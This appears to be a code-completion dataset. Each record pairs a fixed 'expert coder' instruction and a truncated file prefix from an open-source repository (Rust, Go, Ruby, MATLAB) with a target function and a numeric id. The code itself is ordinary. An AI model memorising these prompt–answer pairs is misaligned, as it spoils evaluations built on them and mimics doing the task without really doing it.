You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: update_template_group_access_control_entry.rs path of file: ./repos/aws-sdk-rust/sdk/pcaconnectorad/src/operation the code of the file until where you have to start completion: // Code generated by software.amazon.smithy.rust.codegen.smithy-rs. DO NOT EDIT. /// Orchestration and serialization glue logic for `UpdateTemplateGroupAccessControlEntry`. #[derive(::std::clone::Clone, ::std::default::Default, ::std::fmt::Debug)] #[non_exhaustive] pub struct UpdateTemplateGroupAccessControlEntry; impl UpdateTemplateGroupAccessControlEntry { /// Creates a new `UpdateTemplateGroupAccessControlEntry` pub fn new() -> Self { Self } pub(crate) async fn orchestrate( runtime_plugins: &::aws_smithy_runt
pub fn meta(&self) -> &::aws_smithy_types::error::ErrorMetadata { match self { Self::AccessDeniedException(e) => ::aws_smithy_types::error::metadata::ProvideErrorMetadata::meta(e), Self::ConflictException(e) => ::aws_smithy_types::error::metadata::ProvideErrorMetadata::meta(e), Self::InternalServerException(e) => ::aws_smithy_types::error::metadata::ProvideErrorMetadata::meta(e), Self::ResourceNotFoundException(e) => ::aws_smithy_types::error::metadata::ProvideErrorMetadata::meta(e), Self::ThrottlingException(e) => ::aws_smithy_types::error::metadata::ProvideErrorMetadata::meta(e), Self::ValidationException(e) => ::aws_smithy_types::error::metadata::ProvideErrorMetadata::meta(e), Self::Unhandled(e) => &e.meta, } }
757,345
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: restful.rs path of file: ./repos/roa/tests the code of the file until where you have to start completion: use std::collections::HashMap; use std::sync::Arc; use http::StatusCode; use multimap::MultiMap; use roa::preload::*; use roa::query::query_parser; use roa::router::{get, post, Router}; use roa
fn get_by_name(&self, name: &str) -> Vec<(usize, &User)> { match self.name_index.get_vec(name) { None => Vec::new(), Some(ids) => ids .iter() .filter_map(|id| self.get(*id).map(|user| (*id, user))) .collect(), } }
31,309
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: from_bytes.rs path of file: ./repos/extism/convert/src the code of the file until where you have to start completion: use crate::*; pub use extism_convert_macros::FromBytes; /// `FromBytes` is used to define how a type should be deco
fn from_bytes(data: &'a [u8]) -> Result<Self, Error> { if data.is_empty() { return Ok(None); } T::from_bytes(data).map(Some) }
480,267
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: duplicates_test.go path of file: ./repos/go-interview/slices/duplicates the code of the file until where you have to start completion: package duplicates import ( "testing" "github.com/stretchr/testify/assert" ) func TestContainsDuplicates(t *testing.T) { assert.Equal(t, ContainsDuplicates(1, 2, 3), false) assert.Equal(t, ContainsDu
func TestContainsDuplicates(t *testing.T) { assert.Equal(t, ContainsDuplicates(1, 2, 3), false) assert.Equal(t, ContainsDuplicates(1, 2, 1), true) assert.Equal(t, ContainsDuplicates(true, false), false) assert.Equal(t, ContainsDuplicates(true, false, true), true) assert.Equal(t, ContainsDuplicates("1", "2", "3"), false) assert.Equal(t, ContainsDuplicates("1", "2", "1"), true) }
609,350
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: spn.rs path of file: ./repos/kanidm/server/lib/src/valueset the code of the file until where you have to start completion: use smolset::SmolSet; use crate::prelude::*; use crate::repl::proto::ReplAttrV1; use crate::schema::SchemaAttribute; use crate::valueset::{DbValu
fn equal(&self, other: &ValueSet) -> bool { if let Some(other) = other.as_spn_set() { &self.set == other } else { debug_assert!(false); false } }
361,602
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: merge.go path of file: ./repos/corteza/server/vendor/golang.org/x/text/unicode/rangetable the code of the file until where you have to start completion: // Copyright 2015 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package rangetable import ( "unicode" ) // atEnd is used to mark a completed iteration. const atEnd = unicode.MaxRune + 1 // Merge returns a new RangeTable that is the union of the given tables. // It can also be used to compact user-created RangeTables. The entries in // R16 and R32 for any given RangeTable should be sorted and non-overlapping. // // A lookup in the resulting table can be several times faster than using In // directly on the ranges. Merge is an expensive operation, however, and only // makes sense if one intends to use the result for more than a couple of // hundred lookups. func Merge(ranges ...*unicode.RangeTable) *unicode.RangeTable { rt := &unicode.RangeTable{} if len(ranges) == 0 { return rt } iter := tablesIter(make([]tableIndex, len(ranges))) for i, t := range ranges { iter[i] = tableIndex{t, 0, atEnd} if len(t.R16) > 0 { iter[i].next =
func (ti tablesIter) next32() unicode.Range32 { sortIter(ti) t0 := ti[0] if t0.next == atEnd { return unicode.Range32{} } r0 := t0.t.R32[t0.p] r0.Lo = uint32(t0.next) // We restrict the Hi of the current range if it overlaps with another range. for i := range ti { tn := ti[i] // Since our tableIndices are sorted by next, we can break if the there // is no overlap. The first value of a next range can always be merged // into the current one, so we can break in case of equality as well. if rune(r0.Hi) <= tn.next { break } rn := tn.t.R32[tn.p] rn.Lo = uint32(tn.next) // Limit r0.Hi based on next ranges in list, but allow it to overlap // with ranges as long as it subsumes it. m := (rn.Lo - r0.Lo) % r0.Stride if m == 0 && (rn.Stride == r0.Stride || rn.Lo == rn.Hi) { // Overlap, take the min of the two Hi values: for simplicity's sake // we only process one range at a time. if r0.Hi > rn.Hi { r0.Hi = rn.Hi } } else { // Not a compatible stride. Set to the last possible value before // rn.Lo, but ensure there is at least one value. if x := rn.Lo - m; r0.Lo <= x { r0.Hi = x } break } } // Update the next values for each table. for i := range ti { tn := &ti[i] if rune(r0.Hi) < tn.next { break } rn := tn.t.R32[tn.p] stride := rune(rn.Stride) tn.next += stride * (1 + ((rune(r0.Hi) - tn.next) / stride)) if rune(rn.Hi) < tn.next { if tn.p++; int(tn.p) == len(tn.t.R32) { tn.next = atEnd } else { tn.next = rune(tn.t.R32[tn.p].Lo) } } } if r0.Lo == r0.Hi { r0.Stride = 1 } return r0 }
543,615
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: _policy.rs path of file: ./repos/aws-sdk-rust/sdk/mediaconvert/src/types the code of the file until where you have to start completion: // Code generated by software.amazon.smithy.rust.codegen.smithy-rs. DO NOT EDIT.
pub fn build(self) -> crate::types::Policy { crate::types::Policy { http_inputs: self.http_inputs, https_inputs: self.https_inputs, s3_inputs: self.s3_inputs, } }
782,777
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: main.go path of file: ./repos/google-cloud-go/internal/generated/snippets/cloudtasks/apiv2beta3/Client/ListQueues the code of the file until where you have to start completion: // Copyright 2024 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Code generated by protoc-gen-go_gapic. DO NOT EDIT. // [START cloudtasks_v2beta3_generated_CloudTasks_ListQueues_sync] package main import ( "context" cloudtasks "cloud.google.com/go/cloudtasks/a
func main() { ctx := context.Background() // This snippet has been automatically generated and should be regarded as a code template only. // It will require modifications to work: // - It may require correct/in-range values for request initialization. // - It may require specifying regional endpoints when creating the service client as shown in: // https://pkg.go.dev/cloud.google.com/go#hdr-Client_Options c, err := cloudtasks.NewClient(ctx) if err != nil { // TODO: Handle error. } defer c.Close() req := &cloudtaskspb.ListQueuesRequest{ // TODO: Fill request struct fields. // See https://pkg.go.dev/cloud.google.com/go/cloudtasks/apiv2beta3/cloudtaskspb#ListQueuesRequest. } it := c.ListQueues(ctx, req) for { resp, err := it.Next() if err == iterator.Done { break } if err != nil { // TODO: Handle error. } // TODO: Use resp. _ = resp } }
281,692
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: 457. Circular Array Loop_test.go path of file: ./repos/LeetCode-Go/leetcode/0457.Circular-Array-Loop the code of the file until where you have to start completion: package leetcode import ( "fmt" "testing" ) type question457 struct { para457 ans457 } // para 是参数 // one 代表第一个参数 type para457 struct {
func Test_Problem457(t *testing.T) { qs := []question457{ { para457{[]int{-1}}, ans457{false}, }, { para457{[]int{3, 1, 2}}, ans457{true}, }, { para457{[]int{-8, -1, 1, 7, 2}}, ans457{false}, }, { para457{[]int{-1, -2, -3, -4, -5}}, ans457{false}, }, { para457{[]int{}}, ans457{false}, }, { para457{[]int{2, -1, 1, 2, 2}}, ans457{true}, }, { para457{[]int{-1, 2}}, ans457{false}, }, { para457{[]int{-2, 1, -1, -2, -2}}, ans457{false}, }, } fmt.Printf("------------------------Leetcode Problem 457------------------------\n") for _, q := range qs { _, p := q.ans457, q.para457 fmt.Printf("【input】:%v 【output】:%v\n", p, circularArrayLoop(p.one)) } fmt.Printf("\n\n\n") }
511,151
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: trans_msg.go path of file: ./repos/dtm/client/dtmcli the code of the file until where you have to start completion: /* * Copyright (c) 2021 yedf. All rights reserved. * Use of this source code is governed by a BSD-style * license that can be found in the LICENSE file. */ package dtmcli import ( "database/sql" "errors" "fmt" "github.com/dtm-labs/dtm/client/dtmcli/dtmimp" ) // Msg reliable msg type type Msg struct { dtmimp.TransBase delay uint64 // delay call branch, unit second } // NewMsg create new msg func NewMsg(server string, gid string) *Msg { return &Msg{TransBase: *dtmimp.NewTransBase(gid, "msg", server, "")} } //
func (s *Msg) DoAndSubmit(queryPrepared string, busiCall func(bb *BranchBarrier) error) error { bb, err := BarrierFrom(s.TransType, s.Gid, dtmimp.MsgDoBranch0, dtmimp.MsgDoOp) // a special barrier for msg QueryPrepared if err == nil { err = s.Prepare(queryPrepared) } if err == nil { errb := busiCall(bb) if errb != nil && !errors.Is(errb, ErrFailure) { // if busicall return an error other than failure, we will query the result _, err = requestBranch(&s.TransBase, "GET", nil, bb.BranchID, bb.Op, queryPrepared) } if errors.Is(errb, ErrFailure) || errors.Is(err, ErrFailure) { _ = dtmimp.TransCallDtm(&s.TransBase, "abort") } else if err == nil { err = s.Submit() } if errb != nil { return errb } } return err }
409,271
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: allow_regex.rs path of file: ./repos/aurae/crates/validation/src the code of the file until where you have to start completion: use super::ValidationError; use fancy_regex::Regex; pub fn allow_regex( value: &str, pattern: &Regex, field_name: &str, parent_name:
fn test_allow_regex() { assert!(matches!( allow_regex("my-name", &DOMAIN_NAME_LABEL_REGEX, "test", None), Ok(..) )); assert!(matches!( allow_regex("my*name", &DOMAIN_NAME_LABEL_REGEX, "test", None), Err(ValidationError::AllowRegexViolation { .. }) )); }
631,614
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: connect.int_grpc.pb.go path of file: ./repos/gim/pkg/protocol/pb the code of the file until where you have to start completion: // Code generated by protoc-gen-go-grpc. DO NOT EDIT. // versions: // - protoc-gen-go-grpc v1.2.0 // - protoc v3.21.9 // source: connect.int.proto package pb import ( context "context" grpc "google.golang.org/grpc" codes "google.golang.org/grpc/codes" status "google.golang.org/grpc/status" emptypb "google.golang.org/pr
func _ConnectInt_DeliverMessage_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DeliverMessageReq) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(ConnectIntServer).DeliverMessage(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/pb.ConnectInt/DeliverMessage", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(ConnectIntServer).DeliverMessage(ctx, req.(*DeliverMessageReq)) } return interceptor(ctx, in, info, handler) }
259,842
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: test_xinclude.rb path of file: ./repos/stackneveroverflow/vendor/bundle/ruby/2.3.0/gems/nokogiri-1.8.0/test/xml the code of the file until where you have to start completion: require "helper" module Nokogiri module XML class TestXInclude < Nokogiri::TestCase def setup super @xml = Nokogiri::XML.parse(File.read(XML_XINCLUDE_F
def test_xinclude_on_element_subtree skip("Pure Java version turns XInlcude on against a parser.") if Nokogiri.jruby? assert_nil @xml.at_xpath('//included') @xml.root.do_xinclude assert_not_nil included = @xml.at_xpath('//included') assert_equal @included, included.content end
243,519
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: plugins.go path of file: ./repos/kubernetes/vendor/github.com/coredns/corefile-migration/migration the code of the file until where you have to start completion: package migration import ( "errors" "github.com/coredns/corefile-migration/migration/corefile" ) type plugin struct { status string replacedBy string additional string namedOptions map[string]option patternOptions map[string]option action pluginActionFn // action affecting this plugin only add serverActionFn // action to add a new plugin to the server block downAction pluginActionFn // downgrade action affecting this plugin only } type option struct { name string status string replacedBy string additional string action optionActionFn // action affecting this option only add pluginActionFn // action to add the option to the plugin downAction optionActionFn // downgrade action affecting this option only } type corefileAction func(*corefile.Corefile) (*corefile.Corefile, error) type serverActionFn func(*corefile.Server) (*corefile.Server, error) type pluginActionFn func(*corefile.Plugin) (*corefile.Plugin, error) type optionActionFn func(*corefile.Option) (*corefile.Option, error) // plugins holds a map of plugin names and their migration rules per "version". "Version" here is meaningless outside // of the context of this code. Each change in options or migration actions for a plugin requires a new "version" // containing those new/removed options and migration actions. Plugins in CoreDNS are not versione
func breakForwardStubDomainsIntoServerBlocks(cf *corefile.Corefile) (*corefile.Corefile, error) { for _, sb := range cf.Servers { for j, fwd := range sb.Plugins { if fwd.Name != "forward" { continue } if len(fwd.Args) == 0 { return nil, errors.New("found invalid forward plugin declaration") } if fwd.Args[0] == "." { // dont move the default upstream continue } if len(sb.DomPorts) != 1 { return cf, errors.New("unhandled migration of multi-domain/port server block") } if sb.DomPorts[0] != "." && sb.DomPorts[0] != ".:53" { return cf, errors.New("unhandled migration of non-default domain/port server block") } newSb := &corefile.Server{} // create a new server block newSb.DomPorts = []string{fwd.Args[0]} // copy the forward zone to the server block domain fwd.Args[0] = "." // the plugin's zone changes to "." for brevity newSb.Plugins = append(newSb.Plugins, fwd) // add the plugin to its new server block // Add appropriate addtl plugins to new server block newSb.Plugins = append(newSb.Plugins, &corefile.Plugin{Name: "loop"}) newSb.Plugins = append(newSb.Plugins, &corefile.Plugin{Name: "errors"}) newSb.Plugins = append(newSb.Plugins, &corefile.Plugin{Name: "cache", Args: []string{"30"}}) //add new server block to corefile cf.Servers = append(cf.Servers, newSb) //remove the forward plugin from the original server block sb.Plugins = append(sb.Plugins[:j], sb.Plugins[j+1:]...) } } return cf, nil }
352,907
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: passthrough.go path of file: ./repos/sealer/vendor/google.golang.org/grpc/internal/resolver/passthrough the code of the file until where you have to start completion: /* * * Copyright 2017 gRPC authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file e
func (*passthroughBuilder) Build(target resolver.Target, cc resolver.ClientConn, opts resolver.BuildOptions) (resolver.Resolver, error) { if target.Endpoint() == "" && opts.Dialer == nil { return nil, errors.New("passthrough: received empty target in Build()") } r := &passthroughResolver{ target: target, cc: cc, } r.start() return r, nil }
724,645
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: gracefulswitch.go path of file: ./repos/devspace/vendor/google.golang.org/grpc/internal/balancer/gracefulswitch the code of the file until where you have to start completion: /* * * Copyright 2022 gRPC authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at *
func (bw *balancerWrapper) UpdateSubConnState(sc balancer.SubConn, state balancer.SubConnState) { if state.ConnectivityState == connectivity.Shutdown { bw.gsb.mu.Lock() delete(bw.subconns, sc) bw.gsb.mu.Unlock() } // There is no need to protect this read with a mutex, as the write to the // Balancer field happens in SwitchTo, which completes before this can be // called. bw.Balancer.UpdateSubConnState(sc, state) }
468,814
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: busy_body.rb path of file: ./repos/nats.rb/examples the code of the file until where you have to start completion: require 'rubygems' require 'nats/client' # This is an example to show off nats-top. Run busy_body on a monitor enabled # se
def create_publishers(sub='foo.bar', body='Hello World!', num_connections=20, num_sends=100) (1..num_connections).each do NATS.connect do |nc| (1..num_sends).each { nc.publish(sub, body) } end end end
85,557
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: makeValidFieldName.m path of file: ./repos/Coursera-Machine-Learning-Andrew-NG/machine-learning-ex3/ex3/lib the code of the file until where you have to start completion: function str = makeValidFieldName(str) % From MATLAB doc: field names must begin with a letter, which may be
function str = makeValidFieldName(str) % From MATLAB doc: field names must begin with a letter, which may be % followed by any combination of letters, digits, and underscores. % Invalid characters will be converted to underscores, and the prefix % "x0x[Hex code]_" will be added if the first character is not a letter. isoct=exist('OCTAVE_VERSION','builtin'); pos=regexp(str,'^[^A-Za-z]','once'); if(~isempty(pos)) if(~isoct) str=regexprep(str,'^([^A-Za-z])','x0x${sprintf(''%X'',unicode2native($1))}_','once'); else str=sprintf('x0x%X_%s',char(str(1)),str(2:end
169,222
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: list_service_accounts.go path of file: ./repos/gitness/app/api/handler/repo the code of the file until where you have to start completion: // Copyright 2023 Harness, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in
func HandleListServiceAccounts(repoCtrl *repo.Controller) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { ctx := r.Context() session, _ := request.AuthSessionFrom(ctx) repoRef, err := request.GetRepoRefFromPath(r) if err != nil { render.TranslatedUserError(ctx, w, err) return } sas, err := repoCtrl.ListServiceAccounts(ctx, session, repoRef) if err != nil { render.TranslatedUserError(ctx, w, err) return } // TODO: implement pagination - or should we block that many service accounts in the first place. render.JSON(w, http.StatusOK, sas) } }
322,303
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: tx.rs path of file: ./repos/s2n-quic/quic/s2n-quic-core/src/io the code of the file until where you have to start completion: // Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. // SPDX-License-Identifier: Apache-2.0 use crate::{event, inet::ExplicitCongestionNotification, path}; use core::{ task::{Context, Poll}, time::
fn message_tuple_test() { let remote_address = SocketAddressV4::new([127, 0, 0, 1], 80).into(); let local_address = SocketAddressV4::new([192, 168, 0, 1], 3000).into(); let tuple = path::Tuple { remote_address, local_address, }; let mut message = (tuple, [1u8, 2, 3]); let mut buffer = [0u8; 10]; assert_eq!(*message.path_handle(), tuple); assert_eq!(message.ecn(), Default::default()); assert_eq!(message.delay(), Default::default()); assert_eq!(message.ipv6_flow_label(), 0); assert_eq!( message.write_payload(PayloadBuffer::new(&mut buffer[..]), 0), Ok(3) ); }
128,944
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: key_value.go path of file: ./repos/arduino-cli/internal/cli/arguments the code of the file until where you have to start completion: // This file is part of arduino-cli. // // Copyright 2023 ARDUINO SA (http://www.arduino.cc/) //
func newKVArrayValue(val []string, p *map[string]string) *kvArrayValue { ssv := &kvArrayValue{ value: p, } for _, v := range val { ssv.Set(v) } ssv.changed = false return ssv }
109,410
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: update_sync.go path of file: ./repos/go-ethereum/beacon/light/sync the code of the file until where you have to start completion: // Copyright 2023 The go-ethereum Authors // This file is part of the go-ethereum library. // // The go-ethereum library is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // The go-ethereum library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You s
func (s *ForwardUpdateSync) processResponse(requester request.Requester, u updateResponse) (success bool) { for i, update := range u.response.Updates { if err := s.chain.InsertUpdate(update, u.response.Committees[i]); err != nil { if err == light.ErrInvalidPeriod { // there is a gap in the update periods; stop processing without // failing and try again next time return } if err == light.ErrInvalidUpdate || err == light.ErrWrongCommitteeRoot || err == light.ErrCannotReorg { requester.Fail(u.sid.Server, "invalid update received") } else { log.Error("Unexpected InsertUpdate error", "error", err) } return } success = true } return }
48,828
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: mod.rs path of file: ./repos/cargo/tests/testsuite/cargo_add/add_toolchain the code of the file until where you have to start completion: use cargo_test_support::compare::assert_ui; use cargo_test_support::current_dir; use cargo_test_support::file; use cargo_test_support::prelude::*; us
fn case() { let project = Project::from_template(current_dir!().join("in")); let project_root = project.root(); let cwd = &project_root; snapbox::cmd::Command::cargo_ui() .arg("add") .arg_line("+nightly") .current_dir(cwd) .assert() .failure() .stdout_matches(str![""]) .stderr_matches(file!["stderr.term.svg"]); assert_ui().subset_matches(current_dir!().join("out"), &project_root); }
51,599
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: d_test.go path of file: ./repos/codeforces-go/leetcode/weekly/274/d the code of the file until where you have to start completion: // Code generated by copypasta/template/leetcode/generator_test.go package main import ( "github.com/EndlessCheng/codeforces-go/leetcode/testutil" "testing" ) func Test(t *testing
func Test(t *testing.T) { t.Log("Current test is [d]") examples := [][]string{ { `[2,2,1,2]`, `3`, }, { `[1,2,0]`, `3`, }, { `[3,0,1,4,1]`, `4`, }, { `[1,2,3,4,5,6,3,8,9,10,11,8]`, `4`, }, { `[1,0,0,2,1,4,7,8,9,6,7,10,8]`, `6`, }, { `[1,0,3,2,5,6,7,4,9,8,11,10,11,12,10]`, `11`, }, } targetCaseNum := 0 if err := testutil.RunLeetCodeFuncWithExamples(t, maximumInvitations, examples, targetCaseNum); err != nil { t.Fatal(err) } }
132,179
You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data. Metadata details: filename: actor.rs path of file: ./repos/navi/src/commands/core the code of the file until where you have to start completion: use crate::common::clipboard; use crate::common::fs; use crate::common::shell; use crate::common::shell::ShellSpawnError; use crate::config::Action; use crate::deser; use crate::env_var; use crate::finder::structures::{Opts as FinderOpts, SuggestionType}; use crate::prelude::*; use crate::structures::cheat::{Suggestion, VariableMap}; use crate::structures::item::Item; use shell::EOF; use std::process::Stdio; fn prompt_finder( variable_name: &str, suggestion: Option<&Suggestion>, variable_count: usize, ) -> Result<String> { env_var::remove(env_var::PREVIEW_COLUMN); env_var::remove(env_var::PREVIEW_DELIMITER); env_var::remove(env_var::PREVIEW_MAP); let mut extra_preview: Option<String> = None; let (suggestions, initial_opts) = if let Some(s) = suggestion { let (suggestion_command, suggestion_opts) = s; if let Some(sopts) = suggestion_opts { if let Some(c) = &sopts.column { env_var::set(env_var::PREVIEW_COLUMN, c.to_string()); } if let Some(d) = &sopts.delimiter { env_var
fn replace_variables_from_snippet(snippet: &str, tags: &str, variables: VariableMap) -> Result<String> { let mut interpolated_snippet = String::from(snippet); if CONFIG.prevent_interpolation() { return Ok(interpolated_snippet); } let variables_found: Vec<&str> = deser::VAR_REGEX.find_iter(snippet).map(|m| m.as_str()).collect(); let variable_count = unique_result_count(&variables_found); for bracketed_variable_name in variables_found { let variable_name = &bracketed_variable_name[1..bracketed_variable_name.len() - 1]; let env_variable_name = env_var::escape(variable_name); let env_value = env_var::get(&env_variable_name); let value = if let Ok(e) = env_value { e } else if let Some(suggestion) = variables.get_suggestion(tags, variable_name) { let mut new_suggestion = suggestion.clone(); new_suggestion.0 = replace_variables_from_snippet(&new_suggestion.0, tags, variables.clone())?; prompt_finder(variable_name, Some(&new_suggestion), variable_count)? } else { prompt_finder(variable_name, None, variable_count)? }; env_var::set(env_variable_name, &value); interpolated_snippet = if value.as_str() == "\n" { interpolated_snippet.replacen(bracketed_variable_name, "", 1) } else { interpolated_snippet.replacen(bracketed_variable_name, value.as_str(), 1) }; } Ok(interpolated_snippet) }
606,504